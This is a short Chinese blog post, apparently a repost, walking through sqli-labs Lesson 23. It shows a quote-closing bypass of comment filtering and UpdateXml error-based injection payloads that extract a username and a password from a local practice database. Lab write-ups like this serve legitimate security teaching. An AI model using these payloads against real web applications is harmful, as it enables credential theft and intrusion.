【sqli-labs】 less23 Error based - strip comments (基于错误的去除注释的GET型注入)

时间：2018-01-26 21:02:31 阅读：174 评论：0 收藏：0 [点我收藏+]

技术分享图片、

加单引号报错

技术分享图片

加#

http://localhost/sqli-labs-master/Less-23/?id=1‘%23

错误没有改变，推测过滤了#

查看源码发现# -- 都被替换掉了

技术分享图片

那么可用通过闭合单引号的方式

http://localhost/sqli-labs-master/Less-23/?id=1‘ and ‘1‘=‘1

技术分享图片

然后通过UpdateXml函数利用报错取数据

http://localhost/sqli-labs-master/Less-23/?id=1‘ and UpdateXml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1)=‘1

技术分享图片

http://localhost/sqli-labs-master/Less-23/?id=1‘ and UpdateXml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)=‘1

技术分享图片

原文地址：https://www.cnblogs.com/superkrissV/p/8361047.html

踩

(0)

评论一句话评论（0）

分享档案

更多>

周排行